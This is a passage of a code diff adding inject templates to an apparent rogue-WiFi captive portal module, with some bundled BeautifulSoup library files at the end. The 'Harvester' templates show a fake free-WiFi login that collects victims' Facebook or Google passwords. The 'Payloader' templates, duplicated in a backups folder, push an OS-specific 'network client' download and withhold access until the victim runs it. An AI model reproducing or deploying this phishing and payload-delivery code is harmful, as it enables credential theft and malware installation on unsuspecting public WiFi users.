height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_connectButton {
|
||||
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
|
||||
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
|
||||
background-color:#1fd950;
|
||||
-moz-border-radius:5px;
|
||||
-webkit-border-radius:5px;
|
||||
border-radius:5px;
|
||||
border:1px solid #18ab29;
|
||||
display:inline-block;
|
||||
cursor:pointer;
|
||||
color:#ffffff;
|
||||
font-family:arial;
|
||||
font-size:22px;
|
||||
font-weight:bold;
|
||||
padding:12px 37px;
|
||||
text-decoration:none;
|
||||
text-shadow:0px -1px 0px #2f6627;
|
||||
}
|
||||
.pa_connectButton:hover {
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
|
||||
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
|
||||
background-color:#5cbf2a;
|
||||
}
|
||||
.pa_connectButton:active {
|
||||
position:relative;
|
||||
top:1px;
|
||||
}
|
||||
.pa_left {
|
||||
margin-left: 60px;
|
||||
}
|
||||
</style>
|
||||
15
PortalAuth/includes/scripts/injects/Harvester/injectHTML.txt
Executable file
15
PortalAuth/includes/scripts/injects/Harvester/injectHTML.txt
Executable file
@@ -0,0 +1,15 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div id="pa_msgBox" class="pa_main">
|
||||
<h1 class="pa_h1">Internet access is on us today.</h1><br />
|
||||
<h4 class="pa_h4">Simply login with your Facebook or Google account<br />through our secure form below to start surfing.</h4>
|
||||
<br /><br />
|
||||
<div>
|
||||
<input type="text" id="pa_email" name="pa_email" class="pa_field" placeholder="FB or Gmail Login" />
|
||||
</div>
|
||||
<br />
|
||||
<div>
|
||||
<input type="password" id="pa_password" name="pa_password" class="pa_field" placeholder="FB or GMail Password" />
|
||||
</div>
|
||||
<br /><br />
|
||||
<button id="submit_button" class="pa_connectButton" type="button">Connect</button>
|
||||
</div>
|
||||
36
PortalAuth/includes/scripts/injects/Harvester/injectJS.txt
Executable file
36
PortalAuth/includes/scripts/injects/Harvester/injectJS.txt
Executable file
@@ -0,0 +1,36 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = setTimeout(displayLogin, 1000);
|
||||
$(function() {
|
||||
$("#submit_button").on("click", function() {
|
||||
var email_addr = $('#pa_email').val();
|
||||
var pass = $('#pa_password').val();
|
||||
if (email_addr == "" || pass == "") {
|
||||
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
|
||||
return;
|
||||
} else {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {email: email_addr,
|
||||
password: pass,
|
||||
target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
function displayLogin() {
|
||||
$(function(){
|
||||
$("#pa_msgBox").css("opacity", "1");
|
||||
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
|
||||
});
|
||||
}
|
||||
</script>
|
||||
3
PortalAuth/includes/scripts/injects/Harvester/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Harvester/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
23
PortalAuth/includes/scripts/injects/Payloader/MyPortal.php
Executable file
23
PortalAuth/includes/scripts/injects/Payloader/MyPortal.php
Executable file
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
parent::handleAuthorization();
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
23
PortalAuth/includes/scripts/injects/Payloader/backups/MyPortal.php
Executable file
23
PortalAuth/includes/scripts/injects/Payloader/backups/MyPortal.php
Executable file
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
parent::handleAuthorization();
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
90
PortalAuth/includes/scripts/injects/Payloader/backups/injectCSS.txt
Executable file
90
PortalAuth/includes/scripts/injects/Payloader/backups/injectCSS.txt
Executable file
@@ -0,0 +1,90 @@
|
||||
<style>
|
||||
.pa_field {
|
||||
width: 70%;
|
||||
height: 30px;
|
||||
font-size: 18px;
|
||||
border: 1px solid black;
|
||||
}
|
||||
.pa_main {
|
||||
background-color: rgba(255,255,255,.9);
|
||||
left: 0%;
|
||||
margin-top: 200px;
|
||||
text-align: center;
|
||||
padding-top: 75px;
|
||||
position: fixed;
|
||||
border-style:solid;
|
||||
border-width:medium;
|
||||
border-color:#aaa;
|
||||
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
}
|
||||
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
#pa_akp {
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 600px;
|
||||
height: 340px;
|
||||
padding: 20px;
|
||||
margin-top: -200px;
|
||||
margin-left: -330px;
|
||||
z-index: 15;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_connectButton {
|
||||
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
|
||||
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
|
||||
background-color:#1fd950;
|
||||
-moz-border-radius:5px;
|
||||
-webkit-border-radius:5px;
|
||||
border-radius:5px;
|
||||
border:1px solid #18ab29;
|
||||
display:inline-block;
|
||||
cursor:pointer;
|
||||
color:#ffffff;
|
||||
font-family:arial;
|
||||
font-size:22px;
|
||||
font-weight:bold;
|
||||
padding:12px 37px;
|
||||
text-decoration:none;
|
||||
text-shadow:0px -1px 0px #2f6627;
|
||||
}
|
||||
.pa_connectButton:hover {
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
|
||||
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
|
||||
background-color:#5cbf2a;
|
||||
}
|
||||
.pa_connectButton:active {
|
||||
position:relative;
|
||||
top:1px;
|
||||
}
|
||||
.pa_left {
|
||||
margin-left: 60px;
|
||||
}
|
||||
</style>
|
||||
14
PortalAuth/includes/scripts/injects/Payloader/backups/injectHTML.txt
Executable file
14
PortalAuth/includes/scripts/injects/Payloader/backups/injectHTML.txt
Executable file
@@ -0,0 +1,14 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div id='pa_akp' class='pa_main'>
|
||||
<h1 class="pa_h1">Network Client Download</h1><br />
|
||||
<h4 class="pa_h4">To access our WiFi please download and use our free network client software.
|
||||
When you run the program an <strong>access key</strong> will be generated which will need to be entered below
|
||||
in order to start surfing the internet.</h4>
|
||||
<br />
|
||||
<a id="pa_NetClientURL" href=""><h3 class='pa_h3'>Download Network Client</h3></a>
|
||||
<br />
|
||||
<span id='pa_macnotice' style='font-size: 80%;'><br /></span>
|
||||
<input type='text' id='pa_accessKey' class='pa_field' placeholder='Access Key' />
|
||||
<br /><br />
|
||||
<button id="submit_button" class="pa_connectButton" type="button">Submit</button>
|
||||
</div>
|
||||
70
PortalAuth/includes/scripts/injects/Payloader/backups/injectJS.txt
Executable file
70
PortalAuth/includes/scripts/injects/Payloader/backups/injectJS.txt
Executable file
@@ -0,0 +1,70 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = setTimeout(displayAccessKeyPanel, 1000);
|
||||
|
||||
$(function() {
|
||||
if (navigator.appVersion.indexOf("Win") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $exePath . $exe . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("Mac") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $appPath . $app . "');";
|
||||
?>
|
||||
$('#pa_macnotice').html("*NOTE: To run the network client on your Mac you need to hold down the control button, click the app, then click open.");
|
||||
} else if (navigator.appVersion.indexOf("Android") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $apkPath . $apk . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPhone") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPad") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPod") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
}
|
||||
|
||||
$('#submit_button').on('click',function(){
|
||||
if ($('#pa_accessKey').val() == "") {
|
||||
alert("Please enter the access key given by the network client software.");
|
||||
return;
|
||||
}
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/index.php",
|
||||
data: {verifyAccessKey: $('#pa_accessKey').val()},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqHXR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
alert("Invalid access key");
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
function displayAccessKeyPanel(){
|
||||
$(function(){
|
||||
$('#pa_akp').css('opacity','1');
|
||||
$('#pa_akp,#pa_overlay-back').fadeIn('slow');
|
||||
});
|
||||
}
|
||||
</script>
|
||||
49
PortalAuth/includes/scripts/injects/Payloader/backups/injectPHP.txt
Executable file
49
PortalAuth/includes/scripts/injects/Payloader/backups/injectPHP.txt
Executable file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
/*==================*/
|
||||
/* v DO NOT MODIFY v */
|
||||
/*==================*/
|
||||
|
||||
$exe = "<EXE>";
|
||||
$app = "<APP>";
|
||||
$apk = "<APK>";
|
||||
$ipa = "<IPA>";
|
||||
|
||||
/*==================*/
|
||||
/* ^ DO NOT MODIFY ^ */
|
||||
/*==================*/
|
||||
|
||||
$base = "/download/";
|
||||
$exePath = $base . "windows/";
|
||||
$appPath = $base . "osx/";
|
||||
$apkPath = $base . "android/";
|
||||
$ipaPath = $base . "ios/";
|
||||
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
|
||||
/*
|
||||
This script checks the entered access key with the user's access key to either allow or deny them access.
|
||||
The key is held in a file that has the name of the user's IP address with all periods replaced with underscores
|
||||
in the $keyDir directory. The contents of the file are read in and compared with the supplied access key
|
||||
and either True or False are echoed back to the script in InjectJS.
|
||||
*/
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
if (isset($_POST['verifyAccessKey'])) {
|
||||
|
||||
// Setup variables with the location of the key files
|
||||
$keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/";
|
||||
$keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt";
|
||||
|
||||
// Open the key file associated with the current client and read the value
|
||||
$accessKey = file_get_contents($keyFile);
|
||||
|
||||
// Check if the access key provided by the client matches the one from the file
|
||||
if ($_POST['verifyAccessKey'] == $accessKey) {
|
||||
echo True;
|
||||
} else {
|
||||
echo False;
|
||||
}
|
||||
kill();
|
||||
}
|
||||
|
||||
?>
|
||||
90
PortalAuth/includes/scripts/injects/Payloader/injectCSS.txt
Executable file
90
PortalAuth/includes/scripts/injects/Payloader/injectCSS.txt
Executable file
@@ -0,0 +1,90 @@
|
||||
<style>
|
||||
.pa_field {
|
||||
width: 70%;
|
||||
height: 30px;
|
||||
font-size: 18px;
|
||||
border: 1px solid black;
|
||||
}
|
||||
.pa_main {
|
||||
background-color: rgba(255,255,255,.9);
|
||||
left: 0%;
|
||||
margin-top: 200px;
|
||||
text-align: center;
|
||||
padding-top: 75px;
|
||||
position: fixed;
|
||||
border-style:solid;
|
||||
border-width:medium;
|
||||
border-color:#aaa;
|
||||
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
}
|
||||
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
#pa_akp {
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 600px;
|
||||
height: 340px;
|
||||
padding: 20px;
|
||||
margin-top: -200px;
|
||||
margin-left: -330px;
|
||||
z-index: 15;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_connectButton {
|
||||
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
|
||||
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
|
||||
background-color:#1fd950;
|
||||
-moz-border-radius:5px;
|
||||
-webkit-border-radius:5px;
|
||||
border-radius:5px;
|
||||
border:1px solid #18ab29;
|
||||
display:inline-block;
|
||||
cursor:pointer;
|
||||
color:#ffffff;
|
||||
font-family:arial;
|
||||
font-size:22px;
|
||||
font-weight:bold;
|
||||
padding:12px 37px;
|
||||
text-decoration:none;
|
||||
text-shadow:0px -1px 0px #2f6627;
|
||||
}
|
||||
.pa_connectButton:hover {
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
|
||||
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
|
||||
background-color:#5cbf2a;
|
||||
}
|
||||
.pa_connectButton:active {
|
||||
position:relative;
|
||||
top:1px;
|
||||
}
|
||||
.pa_left {
|
||||
margin-left: 60px;
|
||||
}
|
||||
</style>
|
||||
14
PortalAuth/includes/scripts/injects/Payloader/injectHTML.txt
Executable file
14
PortalAuth/includes/scripts/injects/Payloader/injectHTML.txt
Executable file
@@ -0,0 +1,14 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div id='pa_akp' class='pa_main'>
|
||||
<h1 class="pa_h1">Network Client Download</h1><br />
|
||||
<h4 class="pa_h4">To access our WiFi please download and use our free network client software.
|
||||
When you run the program an <strong>access key</strong> will be generated which will need to be entered below
|
||||
in order to start surfing the internet.</h4>
|
||||
<br />
|
||||
<a id="pa_NetClientURL" href=""><h3 class='pa_h3'>Download Network Client</h3></a>
|
||||
<br />
|
||||
<span id='pa_macnotice' style='font-size: 80%;'><br /></span>
|
||||
<input type='text' id='pa_accessKey' class='pa_field' placeholder='Access Key' />
|
||||
<br /><br />
|
||||
<button id="submit_button" class="pa_connectButton" type="button">Submit</button>
|
||||
</div>
|
||||
70
PortalAuth/includes/scripts/injects/Payloader/injectJS.txt
Executable file
70
PortalAuth/includes/scripts/injects/Payloader/injectJS.txt
Executable file
@@ -0,0 +1,70 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = setTimeout(displayAccessKeyPanel, 1000);
|
||||
|
||||
$(function() {
|
||||
if (navigator.appVersion.indexOf("Win") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $exePath . $exe . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("Mac") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $appPath . $app . "');";
|
||||
?>
|
||||
$('#pa_macnotice').html("*NOTE: To run the network client on your Mac you need to hold down the control button, click the app, then click open.");
|
||||
} else if (navigator.appVersion.indexOf("Android") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $apkPath . $apk . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPhone") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPad") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
} else if (navigator.appVersion.indexOf("iPod") != -1) {
|
||||
<?php
|
||||
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
|
||||
?>
|
||||
}
|
||||
|
||||
$('#submit_button').on('click',function(){
|
||||
if ($('#pa_accessKey').val() == "") {
|
||||
alert("Please enter the access key given by the network client software.");
|
||||
return;
|
||||
}
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/index.php",
|
||||
data: {verifyAccessKey: $('#pa_accessKey').val()},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqHXR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
alert("Invalid access key");
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
function displayAccessKeyPanel(){
|
||||
$(function(){
|
||||
$('#pa_akp').css('opacity','1');
|
||||
$('#pa_akp,#pa_overlay-back').fadeIn('slow');
|
||||
});
|
||||
}
|
||||
</script>
|
||||
49
PortalAuth/includes/scripts/injects/Payloader/injectPHP.txt
Executable file
49
PortalAuth/includes/scripts/injects/Payloader/injectPHP.txt
Executable file
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
/*==================*/
|
||||
/* v DO NOT MODIFY v */
|
||||
/*==================*/
|
||||
|
||||
$exe = "<EXE>";
|
||||
$app = "<APP>";
|
||||
$apk = "<APK>";
|
||||
$ipa = "<IPA>";
|
||||
|
||||
/*==================*/
|
||||
/* ^ DO NOT MODIFY ^ */
|
||||
/*==================*/
|
||||
|
||||
$base = "/download/";
|
||||
$exePath = $base . "windows/";
|
||||
$appPath = $base . "osx/";
|
||||
$apkPath = $base . "android/";
|
||||
$ipaPath = $base . "ios/";
|
||||
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
|
||||
/*
|
||||
This script checks the entered access key with the user's access key to either allow or deny them access.
|
||||
The key is held in a file that has the name of the user's IP address with all periods replaced with underscores
|
||||
in the $keyDir directory. The contents of the file are read in and compared with the supplied access key
|
||||
and either True or False are echoed back to the script in InjectJS.
|
||||
*/
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
if (isset($_POST['verifyAccessKey'])) {
|
||||
|
||||
// Setup variables with the location of the key files
|
||||
$keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/";
|
||||
$keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt";
|
||||
|
||||
// Open the key file associated with the current client and read the value
|
||||
$accessKey = file_get_contents($keyFile);
|
||||
|
||||
// Check if the access key provided by the client matches the one from the file
|
||||
if ($_POST['verifyAccessKey'] == $accessKey) {
|
||||
echo True;
|
||||
} else {
|
||||
echo False;
|
||||
}
|
||||
kill();
|
||||
}
|
||||
|
||||
?>
|
||||
4
PortalAuth/includes/scripts/jquery-2.2.1.min.js
vendored
Executable file
4
PortalAuth/includes/scripts/jquery-2.2.1.min.js
vendored
Executable file
File diff suppressed because one or more lines are too long
21
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/PKG-INFO
Executable file
21
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/PKG-INFO
Executable file
@@ -0,0 +1,21 @@
|
||||
Metadata-Version: 1.1
|
||||
Name: beautifulsoup4
|
||||
Version: 4.4.0
|
||||
Summary: Screen-scraping library
|
||||
Home-page: http://www.crummy.com/software/BeautifulSoup/bs4/
|
||||
Author: Leonard Richardson
|
||||
Author-email: leonardr@segfault.org
|
||||
License: MIT
|
||||
Download-URL: http://www.crummy.com/software/BeautifulSoup/bs4/download/
|
||||
Description: Beautiful Soup sits atop an HTML or XML parser, providing Pythonic idioms for iterating, searching, and modifying the parse tree.
|
||||
Platform: UNKNOWN
|
||||
Classifier: Development Status :: 5 - Production/Stable
|
||||
Classifier: Intended Audience :: Developers
|
||||
Classifier: License :: OSI Approved :: MIT License
|
||||
Classifier: Programming Language :: Python
|
||||
Classifier: Programming Language :: Python :: 2
|
||||
Classifier: Programming Language :: Python :: 3
|
||||
Classifier: Topic :: Text Processing :: Markup :: HTML
|
||||
Classifier: Topic :: Text Processing :: Markup :: XML
|
||||
Classifier: Topic :: Text Processing :: Markup :: SGML
|
||||
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
||||
40
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/SOURCES.txt
Executable file
40
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/SOURCES.txt
Executable file
@@ -0,0 +1,40 @@
|
||||
AUTHORS.txt
|
||||
COPYING.txt
|
||||
MANIFEST.in
|
||||
NEWS.txt
|
||||
README.txt
|
||||
TODO.txt
|
||||
convert-py3k
|
||||
setup.cfg
|
||||
setup.py
|
||||
test-all-versions
|
||||
beautifulsoup4.egg-info/PKG-INFO
|
||||
beautifulsoup4.egg-info/SOURCES.txt
|
||||
beautifulsoup4.egg-info/dependency_links.txt
|
||||
beautifulsoup4.egg-info/requires.txt
|
||||
beautifulsoup4.egg-info/top_level.txt
|
||||
bs4/__init__.py
|
||||
bs4/dammit.py
|
||||
bs4/diagnose.py
|
||||
bs4/element.py
|
||||
bs4/testing.py
|
||||
bs4/builder/__init__.py
|
||||
bs4/builder/_html5lib.py
|
||||
bs4/builder/_htmlparser.py
|
||||
bs4/builder/_lxml.py
|
||||
bs4/tests/__init__.py
|
||||
bs4/tests/test_builder_registry.py
|
||||
bs4/tests/test_docs.py
|
||||
bs4/tests/test_html5lib.py
|
||||
bs4/tests/test_htmlparser.py
|
||||
bs4/tests/test_lxml.py
|
||||
bs4/tests/test_soup.py
|
||||
bs4/tests/test_tree.py
|
||||
doc/Makefile
|
||||
doc.zh/Makefile
|
||||
doc.zh/source/conf.py
|
||||
doc/source/6.1.jpg
|
||||
doc/source/conf.py
|
||||
doc/source/index.rst
|
||||
scripts/demonstrate_parser_differences.py
|
||||
scripts/demonstration_markup.txt
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
7
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/requires.txt
Executable file
7
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/requires.txt
Executable file
@@ -0,0 +1,7 @@
|
||||
|
||||
|
||||
[lxml]
|
||||
lxml
|
||||
|
||||
[html5lib]
|
||||
html5lib
|
||||
1
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/top_level.txt
Executable file
1
PortalAuth/includes/scripts/libs/beautifulsoup4.egg-info/top_level.txt
Executable file
@@ -0,0 +1 @@
|
||||
bs4
|
||||
468
PortalAuth/includes/scripts/libs/bs4/__init__.py
Executable file
468
PortalAuth/includes/scripts/libs/bs4/__init__.py
Executable file
@@ -0,0 +1,468 @@
|
||||
"""Beautiful Soup
|
||||
Elixir and Tonic
|
||||
"The Screen-Scraper's Friend"
|
||||
http://www.crummy.com/software/BeautifulSoup/
|
||||
|
||||
Beautiful Soup uses a pluggable XML or HTML parser to parse a
|
||||
(possibly invalid) document into a tree representation. Beautiful Soup
|
||||
provides provides methods and Pythonic idioms that make it easy to
|
||||
navigate, search, and modify the parse tree.
|
||||
|
||||
Beautiful Soup works with Python 2.6 and up. It works better if lxml
|
||||
